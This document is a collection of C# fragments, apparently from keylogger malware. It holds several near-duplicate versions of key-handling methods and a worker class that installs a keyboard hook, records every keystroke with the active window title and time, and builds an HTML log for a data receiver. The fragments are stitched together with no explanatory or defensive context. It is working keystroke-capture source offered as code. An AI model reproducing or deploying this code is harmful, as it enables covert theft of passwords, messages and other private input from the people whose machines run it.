/// <summary> /// /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void OnKeyDown(object sender, KeyEventArgs e) { var windowTitle = KeyloggerHelper.GetActiveWindowTitle(); if (!string.IsNullOrEmpty(windowTitle) && (m_lastWindowTitle != windowTitle)) { m_lastWindowTitle = windowTitle; AppendLine(string.Empty); AppendNewWindowName(); } if (m_pressedKeys.IsModifierKeysSet()) { if (!m_pressedKeys.Contains(e.KeyCode)) { m_pressedKeys.Add(e.KeyCode); return; } } if (!e.KeyCode.IsExcludedKey()) { if (!m_pressedKeys.Contains(e.KeyCode)) { m_pressedKeys.Add(e.KeyCode); } } }
private void OnKeyDown(object sender, KeyEventArgs e) //Called first { string activeWindowTitle = KeyloggerHelper.GetActiveWindowTitle(); //Get active thread window title if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle) { _lastWindowTitle = activeWindowTitle; _logFileBuffer.Append(@"<p class=""h""><br><br>[<b>" + activeWindowTitle + " - " + DateTime.Now.ToString("HH:mm") + "</b>]</p><br>"); } if (_pressedKeys.IsModifierKeysSet()) { if (!_pressedKeys.Contains(e.KeyCode)) { Debug.WriteLine("OnKeyDown: " + e.KeyCode); _pressedKeys.Add(e.KeyCode); return; } } if (!e.KeyCode.IsExcludedKey()) { // The key was not part of the keys that we wish to filter, so // be sure to prevent a situation where multiple keys are pressed. if (!_pressedKeys.Contains(e.KeyCode)) { Debug.WriteLine("OnKeyDown: " + e.KeyCode); _pressedKeys.Add(e.KeyCode); } } }
private void OnKeyDown(object sender, KeyEventArgs e) { string activeWindowTitle = KeyloggerHelper.GetActiveWindowTitle(); if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle) { _lastWindowTitle = activeWindowTitle; _logFileBuffer.Append(@"<p class=""h""><br><br>[<b>" + KeyloggerHelper.Filter(activeWindowTitle) + " - " + DateTime.Now.ToString("HH:mm") + "</b>]</p><br>"); } if (_pressedKeys.IsModifierKeysSet()) { if (!_pressedKeys.Contains(e.KeyCode)) { Debug.WriteLine("OnKeyDown: " + e.KeyCode); _pressedKeys.Add(e.KeyCode); return; } } if (!e.KeyCode.IsExcludedKey()) { if (!_pressedKeys.Contains(e.KeyCode)) { Debug.WriteLine("OnKeyDown: " + e.KeyCode); _pressedKeys.Add(e.KeyCode); } } }
/// <summary> /// /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void OnKeyPress(object sender, KeyPressEventArgs e) { if (m_pressedKeys.IsModifierKeysSet() && m_pressedKeys.ContainsKeyChar(e.KeyChar)) { return; } if ((!m_pressedKeyChars.Contains(e.KeyChar) || !KeyloggerHelper.DetectKeyHolding(m_pressedKeyChars, e.KeyChar)) && !m_pressedKeys.ContainsKeyChar(e.KeyChar)) { if (m_pressedKeys.IsModifierKeysSet()) { m_ignoreSpecialKeys = true; } m_pressedKeyChars.Add(e.KeyChar); Append(e.KeyChar); } }
//This method should be used to process all of our unicode characters private void OnKeyPress(object sender, KeyPressEventArgs e) //Called second { if (_pressedKeys.IsModifierKeysSet() && _pressedKeys.ContainsKeyChar(e.KeyChar)) { return; } if ((!_pressedKeyChars.Contains(e.KeyChar) || !KeyloggerHelper.DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar)) { var filtered = KeyloggerHelper.Filter(e.KeyChar); if (!string.IsNullOrEmpty(filtered)) { Debug.WriteLine("OnKeyPress Output: " + filtered); if (_pressedKeys.IsModifierKeysSet()) { _ignoreSpecialKeys = true; } _pressedKeyChars.Add(e.KeyChar); _logFileBuffer.Append(filtered); } } }
/// <summary> /// /// </summary> /// <param name="keys"></param> /// <returns></returns> private string HighlightSpecialKeys(Keys[] keys) { if (keys.Length < 1) { return(string.Empty); } string[] names = new string[keys.Length]; for (int i = 0; i < keys.Length; i++) { if (!m_ignoreSpecialKeys) { names[i] = KeyloggerHelper.GetDisplayName(keys[i]); } else { names[i] = string.Empty; m_pressedKeys.Remove(keys[i]); } } m_ignoreSpecialKeys = false; if (m_pressedKeys.IsModifierKeysSet()) { var specialKeys = new StringBuilder(); var validSpecialKeys = 0; for (int i = 0; i < names.Length; i++) { m_pressedKeys.Remove(keys[i]); if (string.IsNullOrEmpty(names[i])) { continue; } specialKeys.AppendFormat(validSpecialKeys == 0 ? @"[{0}" : " + {0}", names[i]); validSpecialKeys++; } if (validSpecialKeys > 0) { specialKeys.Append("]"); } return(specialKeys.ToString()); } var normalKeys = new StringBuilder(); for (int i = 0; i < names.Length; i++) { m_pressedKeys.Remove(keys[i]); if (string.IsNullOrEmpty(names[i])) { continue; } switch (names[i]) { case "Return": normalKeys.Append(@"[Enter]"); break; case "Escape": normalKeys.Append(@"[Esc]"); break; default: normalKeys.Append(@"[" + names[i] + "]"); break; } } return(normalKeys.ToString()); }
private string HighlightSpecialKeys(Keys[] keys) { if (keys.Length < 1) { return(string.Empty); } string[] names = new string[keys.Length]; for (int i = 0; i < keys.Length; i++) { if (!_ignoreSpecialKeys) { names[i] = KeyloggerHelper.GetDisplayName(keys[i]); Debug.WriteLine("HighlightSpecialKeys: " + keys[i] + " : " + names[i]); } else { names[i] = string.Empty; _pressedKeys.Remove(keys[i]); } } _ignoreSpecialKeys = false; if (_pressedKeys.IsModifierKeysSet()) { StringBuilder specialKeys = new StringBuilder(); int validSpecialKeys = 0; for (int i = 0; i < names.Length; i++) { _pressedKeys.Remove(keys[i]); if (string.IsNullOrEmpty(names[i])) { continue; } specialKeys.AppendFormat((validSpecialKeys == 0) ? @"<p class=""h"">[{0}" : " + {0}", names[i]); validSpecialKeys++; } // If there are items in the special keys string builder, give it an ending tag if (validSpecialKeys > 0) { specialKeys.Append("]</p>"); } Debug.WriteLineIf(specialKeys.Length > 0, "HighlightSpecialKeys Output: " + specialKeys.ToString()); return(specialKeys.ToString()); } StringBuilder normalKeys = new StringBuilder(); for (int i = 0; i < names.Length; i++) { _pressedKeys.Remove(keys[i]); if (string.IsNullOrEmpty(names[i])) { continue; } switch (names[i]) { case "Return": normalKeys.Append(@"<p class=""h"">[Enter]</p><br>"); break; case "Escape": normalKeys.Append(@"<p class=""h"">[Esc]</p>"); break; default: normalKeys.Append(@"<p class=""h"">[" + names[i] + "]</p>"); break; } } Debug.WriteLineIf(normalKeys.Length > 0, "HighlightSpecialKeys Output: " + normalKeys.ToString()); return(normalKeys.ToString()); }
public KeyloggerWorker(IDataPackageEnvelopeReceiver receiver) : base(receiver) { KeyloggerHelper.HookUp(); KeyloggerHelper.KeyPressed += KeyloggerHelper_KeyPressed; }